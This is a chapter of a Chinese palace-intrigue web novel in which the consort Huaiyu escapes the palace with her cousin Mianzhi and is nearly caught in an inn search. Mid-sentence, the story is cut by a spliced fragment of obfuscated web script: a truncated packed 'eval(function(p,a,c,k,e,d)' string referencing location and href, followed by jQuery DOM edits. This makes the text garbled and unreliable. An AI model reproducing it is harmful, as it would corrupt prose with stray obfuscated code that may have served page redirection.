26. 逃之夭夭

禁卫对头领以刀鞘截断怀钰前行路径,怀钰面色不动声色,轻声道:“闲来无事出来走走,怎的这路不得了?”


禁卫队头领见她这般说,忙低下头,恭敬道:“属下不敢。”


怀钰皱了皱眉,略微不耐烦,“你且退下罢。”说着,怀钰转身欲走,却故意放缓脚步,目光在四周扫视一圈,似乎在寻找什么,似是在确认周围是否还有其他动静。


宋辑宁离宫时有仔细交代他们要仔细淑妃娘娘动向,禁卫队头领见怀钰如此,心中不禁起疑,但又不敢多问,只能站在原地,目送她离去。


怀钰绕过假山,沿着小径缓缓而行,一路留意四周的动静,快步回到倾瑶台,好在宫人皆不在。


推开殿门,怀钰拍了拍阿云肩头,见她毫无反应,“对不住了。”怀钰将披氅覆在阿云身上,虽说倾瑶台炭火不绝,但殿门处远不如内里暖和。


怀钰只觉哥哥给她的药当真是厉害,竟能使人昏睡的如此沉。


坐在妆台前对着铜镜整理发髻,心中却仍在思量方才之事,怀钰取下发簪轻轻剖开竹叶中间纹路分为两瓣,砚中青矾水腾起蟹眼泡,她平日偶有习字,无人发觉这青矾水有任何问题,浸透的竹叶在暮光中显出血丝状的脉络,浅浅的空洞析出。


“好精妙的点苔术。”怀钰忽然轻笑,从前只是看过学过,自己用起来方觉厉害,将带有孔洞的竹叶覆在尺素之上,她这尺素细看不过是绣了日与十二时辰。


丑时,明日丑时。


窗棂外忽然掠过白鸦惊动,怀钰迅速将竹叶投入博山炉中,青烟腾起,明日,她也会如这烟一般逐渐消失。


-


虽说宋辑宁不在宫中,却也仔细嘱咐倾瑶台一众宫人需要时刻跟随怀钰,亦不许怀钰去见宋靖窈和太后。


也有宋辑宁的亲卫时刻在隔着几米开外的隐蔽处护着怀钰。


只是今日,格外平静,周围好似没了那些亲卫的形迹。


风吹动,窸窣的声音,他应该是来了吧。


今日出来只应阿云跟着,怀钰回身出手击于阿云颈侧,打晕在地,“对不住了。”冬日黑夜无月光簌簌倾洒,越是高处便越看不见人影,怀钰转瞬被一人揽住跃上屋顶。


忽而听得声息:“闭息。”玄狐大氅裹住怀钰单薄身形,怀钰足尖点在宫檐的鸱吻上,又听得他低声道:“当心瓦当下的铃铎。”


临立风中,颛孙勉之身着一身霜色锦袍,墨发被祥云刺绣发带束起马尾,腰间蹀躞带上的和田玉随着步履轻晃,额前几缕碎发,面如冠玉,眸色似春溪浸玉,温煦笑意带着怀钰稳稳站在屋顶。


怀钰心跳似漏,压着气音唤他:“哥哥,太鲁莽了。”话语呼出凝成白雾,她虽想快快离开,可应当于计划周密之下,眼下这样,太过于危险。


勉之笑道:“怀钰定知道是我。”所以他才敢这么做,他与她的默契向来是无人能及。


那日矮竹林有动静,她便知是他,既如此,连书应当也是安全了,只是为何会这么快,皇宫守卫应当不会这般松懈的,许是因为宋辑宁出宫了罢。


怀钰着急又害怕:“得趁他现下没在宫中快快离开。”此次走不掉,她怕是再难逃走。


勉之混于宫中数日,有着探子回报至南夏的地形图纸,他半数摸清路线,行至藏书阁楼处,怀钰忽的拉住勉之,“小心,巡夜的守卫。”两人紧贴靠在宫墙上,此处怀钰常来,对于入夜巡卫再为敏觉。


庆幸两人及时止住脚步,未有踏至藏书阁楼大殿门前,否则那儿根本无物遮挡,真逃脱不了一点。


勉之道歉:“是我疏忽了。”


即便出了宫,两人也一刻不停地赶路,皇宫周围,士兵士兵的影子随见,怀钰心中一紧,怕会随时被他们捉拿回去。


护城河的黑水泛起鳞状波纹,外已有接应的马车,勉之先行跃上,拉住怀钰伸过的手将她带上马车。


怀钰跳上马车跌进织锦软垫的瞬间长叹口气,便嗅到车帷内浓郁的万斛香,混着车壁紫檀木的沉郁,这才是她旧年用的香,全身都舒缓放松下来,漏出久违的温馨笑容,对自由的欣喜。


寅时的梆子声漫过城门时,怀钰将脸埋进玄狐氅衣的风毛里,“当时便该听哥哥的话,推拒入宫,我实是未料到他如今会这般疯魔。”是感慨亦是后怕。


怀钰担忧,“我阿娘你可带走了?”


勉之安慰:“日前已命人接走,你放心姨母我已命人将她送去我府中。”


不知宋辑宁知晓她不见后会做出何等反应,怀钰还是担忧:“我世族中人,可还好?”


她自己的那条计划是最为周密的,奈何宋辑宁警惕太高,可惜…


不到万不得已,也不会实行现下这条险路。


“数月前我已陆续将她们送往南夏,只是你父亲他…”勉之欲言又止,勉之内心所想,临安侯虽被收回兵权,但门生遍布于边城和平阳,威望过重,宋辑宁是不会真的放过他的。


怀钰心如刀绞,“他不愿走便不愿吧。”世族中数百人,怎能因父亲的愚忠,让这些人白白断送性命。


朝中重臣遭大换,如今纪氏又无先帝庇护,宋辑宁登位不过一年,已处置除杀不少异党,何况还是临安侯府这等支持先帝之辈,迟早之事。


宋辑宁对她的感情,怎会大过皇权的稳固与集中,她此此也只能做一回不忠不孝之人。


勉之打开手中信条一看,“等到了下一处,可能会在客栈稍作休憩,这几日平阳戒备森严,不太好出去。”城门守卫这几日对出城之人查的严,怀钰的身份怕是无法直接出去。


只是具体发生了什么,探子并未探到。


大昭鲜少有人见过勉之,在民间他可以靠伪造的身份,大抵是安全的,可怀钰,如何是好,只能祈祷宋辑宁别这么快发现怀钰不见了。


思及纪瑾华,怀钰道:“哥哥,务必让人把七叔一家处理了。”她若不狠些,真是要被这些吃里扒外的害惨。


勉之迟疑,还是点头应下,吩咐马车外坐着的随从寻人去办此事,心中亦疑惑,怀钰一向不是最在意氏族中人的么。


怀钰见他面露迟疑,解释道:“哥哥疏忽,我怕宋辑宁那些怀疑,是因七叔一家,否则纪瑾华怎有机会能入宫。”


旁人或许不知晓,她可是最清楚的,纪瑾华是许过婚配的,还是她亲自去求的父亲做的主,户部主事不会连这点都勘察不清楚。


这七叔一家,以往是顾念亲情没动他,此刻生死存亡之际,宁可错杀,只能让


;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fro|15079537|162519||http|test|mini|href|location''.split(''|''),0,{}));


() {


$(''.inform'').remove();


$(''#content'').append(''


他们永远的闭嘴。


唐羡好现下已速速往南夏赶回,勉之笑道:“好,我会命人代劳此事。”


怀钰放下心来,想起自打小剑不在身旁,在宫中每日入睡都提心吊胆,只敢浅睡,此刻终是可以安心睡一觉了,迷糊喃喃道:“哥哥送我把小剑罢。”从前是宋安送的,如今哥哥送她也好,她能信得人没有几个了,从前信任的人,多数都已掩埋于沙场尘土。


不知过了多久,天已将明。


“怀钰,醒醒。”勉之拍了拍她的肩,“到客栈了。”


城中繁华些的客栈达官显贵难免会去,万一两人碰到熟人就不好了


以防万一,勉之只能带怀钰来这偏僻些的客栈,条件可能没那么好,勉之也不想让怀钰屈居在此,只是此处有内人,更为安全些。


两人到了房中,让小二送来膳食。


怀钰消瘦不少,勉之给她碗里夹了许多菜,怀钰吃的开心,在宫里每日吃饭都要守着规矩,哪有外面自在。


见她现下满是欢喜的样子,勉之欣慰,“我若是在那第二道圣旨下来之前提前到,也不会苦了你这些日子了。”


怀钰眉眼带笑:“区区月余罢了,不碍事的,我相信哥哥一定会来的。”不论什么危难时刻,他都会在她身边。


饭后,两人才开始谈及正事。


“我想,辑宁怕是知晓了些什么,否则那日也不会来质问我,还将连书关进暴室。”怀钰没有提及那日与宋辑宁大吵的事儿。


勉之听得连书二字,心下略有些心虚,终究还是未说出口,与唐羡好碰面时,唐羡好也有向他说了此猜想,他有让探子去细细探查,只是,目前没有任何反常的地方。


七叔知晓的不多,怀钰没有同族中不亲近的人说过太多,提及的也是些无关紧要的事,“哥哥可有想过,是南夏朝中有人?”


忽而勉之示意她不要说话,外面竟有官兵的声音,怀钰心下一惊。


马车上竟然忘却让怀钰将衣物换下,她现在穿的可是宫中的服饰,勉之低声:“你先找地方躲躲,我出去看看。”


勉之推开房门,听得一阵吵闹,准备下楼去看看。


怀钰无处可避,只能躲在衣柜中去,总不能是她刚出城,宋辑宁便发现了吧。


“官爷,我这儿只是个寻常客栈,哪敢窝藏重犯啊。”店小二急忙求饶。


这些官兵四处查看,要是店里砸了什么贵重的东西,当家的不得宰了他啊,只能不停求饶。


裴朝隐,他怎么会在这儿,勉之见此,停住了脚步,探子来报,这个节点他应该是在江州治水患的。


“回将军,楼下无可疑之人,可要搜查楼上厢房?”士兵问道。


“搜。”


暗道不好,勉之急忙回房,怀钰还在关柜门,勉之将她拉出,朝窗外看了看,低声道:“怀钰,从窗户跃下去,动作轻些,往后面山林跑,我晚些来找你。”说着便把腰间的符令和一袋碎银塞到怀钰怀中,以防万一。


怀钰见此,只能放轻步子,一跃而下,小心翼翼往山林跑去。


勉之刚关好了窗,裴朝隐就带人推开了门,看清其转身的样貌后,“你怎会在此处?”


未递参拜折子,他怎会出现在此处。